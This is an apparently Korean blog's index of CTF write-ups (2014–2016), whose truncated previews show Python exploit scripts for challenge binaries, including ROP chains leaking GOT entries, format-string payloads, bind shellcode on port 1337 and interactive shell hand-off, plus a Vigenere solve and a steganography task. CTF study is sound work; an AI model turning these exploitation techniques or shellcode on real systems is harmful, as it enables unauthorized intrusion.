본문 바로가기
728x90

Security/[게임] CTF 풀이55

[exploit] 2016 33c3 CTF - babyfengshui #!/usr/bin/env python import socket import struct import telnetlib p = lambda x: struct.pack( " 2016. 12. 30.
[crypto] 2016 SecconCTF - Vigenere writeups [문제] Vigenere k: ???????????? p: SECCON{???????????????????????????????????} c: LMIG}RPEDOEEWKJIQIWKJWMNDTSR}TFVUFWYOCBAJBQ k=key, p=plain, c=cipher, md5(p)=f528a6ab914c1ecf856a1d93103948fe [풀이] import md5 p = "SECCON{???????????????????????????????????}" c = 'LMIG}RPEDOEEWKJIQIWKJWMNDTSR}TFVUFWYOCBAJBQ' m = "ABCDEFGHIJKLMNOPQRSTUVWXYZ{}" a = [] for i in range(len(p[:7])): for j in range.. 2016. 12. 12.
[exploit] 2016 SecconCTF - jmper writeups (exploit only) #!/usr/bin/env python import socket import telnetlib import struct from collections import deque p = lambda x: struct.pack( " 2016. 12. 11.
[exploit] 2016 SecconCTF - cheer_msg writeups (exploit only) #!/usr/bin/env python import socket import struct import telnetlib p = lambda x: struct.pack( "" ) s.send( "-150\n" ) u_recv( "Message >>" ) pay = p( printf_plt ) pay += p( pppr ) pay += p( 0x804887d ) # \nThank you %s!\nMessage : %s\n pay += p( setbuf_got ) pay += p( setbuf_got ) pay += p( 0x80485ca ) # main s.send( pay+"\n" ) data = u_recv( "Message : " ) data = u_recv( "Message : " ) data = d.. 2016. 12. 11.
[exploit] 2016 SecconCTF - checker writeups (exploit only) #!/usr/bin/env python import socket host = 'localhost' host = "checker.pwn.seccon.jp" port = 1120 port = 14726 s = socket.socket( socket.AF_INET, socket.SOCK_STREAM ) s.connect( ( host, port ) ) def u_recv( st ): bf = '' while st not in bf: bf += s.recv( 1 ) return bf print u_recv( "NAME :" ) s.send( "name\n" ); for i in range( 0x180, 0x170, -1 ): u_recv( ">>" ) pay = ("a"*i)+"\n.. 2016. 12. 11.
2015 HUST hacking festival 2015. 6. 1.
[coding] DEFCON CTF Qualifier 2015, catwestern Writeups blackcon@bk:~/def/code$nc catwestern_631d7907670909fc4df2defc13f2057c.quals.shallweplayaga.me 9999 ****Initial Register State**** rax=0x408ac14d14c91041 rbx=0x92b94f86512d81f7 rcx=0x27e130edb33ed938 rdx=0x4908d46be209ea22 rsi=0x46544d33f066a612 rdi=0x7917f07f5de389fd r8=0x1be4f02013a8e1bd r9=0xa30f7795d3397ee3 r10=0x2bce7d9563e73db2 r11=0x75aabcc891d0be75 r12=0x65f56eb6f0aea8a0 r13=0xfb79336eaae.. 2015. 5. 18.
[exploit] DEFCON CTF Qualifier 2015, babyecho Writeups [+[ Format String Bug #!/usr/bin/env python import socket import struct import telnetlib p = lambda x: struct.pack( " 2015. 5. 18.
[exploit] Plaid CTF 2015 EBP writeup [+] keyword : double format string bug, overwrite ebp [!] 코드가 많이 복잡합니다 ㅎㅎ 그래도 코드만 올릴게요 :D [!] 쉘코드는 bind shellcode를 이용하여 1337번 포트로 재접속하는 쉘코드를 사용했습니다. #!/usr/bin/env python import struct import socket import time import telnetlib p = lambda x: struct.pack( "I", x )[0] host = "52.6.64.173" port = 4545 # bind shellcode # ip : 0.0.0.0, port : 1337 shellcode = "\x90\x90\x90\x90\x90\x90\x90\x90\x90" sh.. 2015. 4. 24.
[exploit] 홀리쉴드 2014 catlang writeups 와...일단 풀이 올리기 전에 굉장한 기술문서를 작성한 pwn3r님 감사드리면서 기술문서도 함께 올리겠습니다... 기술문서 요약 : dynamic에 쓰기권한이 있을 때 strtab부분을 수정하여 원하는 함수를 호출할 수 있다. #!/usr/bin/env python import socket import struct import telnetlib p = lambda x: struct.pack( "> " ) s.send( pay ) print 'sh #' t = telnetlib.Telnet() t.sock = s t.interact() 2014. 11. 28.
[misc] 홀리쉴드 2014 magiceye writeup ======================================================================= < 문제 파일 > 문제파일을 HxD로 열어보면 zip파일 시그니처가 들어있습니다. zip파일을 추출하여 안의 파일을 보면 다음과 같습니다. 압축파일 내부의 파일 중에서 봐야할 이미지는 “fd1f96373b509c826add83a11020ea8d - copied.BMP”, “fd1f96373b509c826add83a11020ea8d.BMP"입니다. 이 두 이미지는 같은 이미지같지만 hash를 보면 다른 것을 알 수 있습니다. fd1 = open( "fd1f96373b509c826add83a11020ea8d - copied.BMP", "rb" ) fd2 = open( "fd1f96.. 2014. 11. 25.
[exploit] 홀리쉴드 2014 kitty writeups =========================== tag : got overwrite, _dl_runtime_resolve import socket import struct import telnetlib host = "192.168.1.22" port = 1120 s = socket.socket( socket.AF_INET, socket.SOCK_STREAM ) s.connect( ( host, port ) ) raw_input( ' go > ' ) def until_recv( st ): buf = '' while st not in buf: buf += s.recv( 1024 ) return buf #### teach #### print until_recv( "select") s.send( '2\n' ).. 2014. 11. 25.
728x90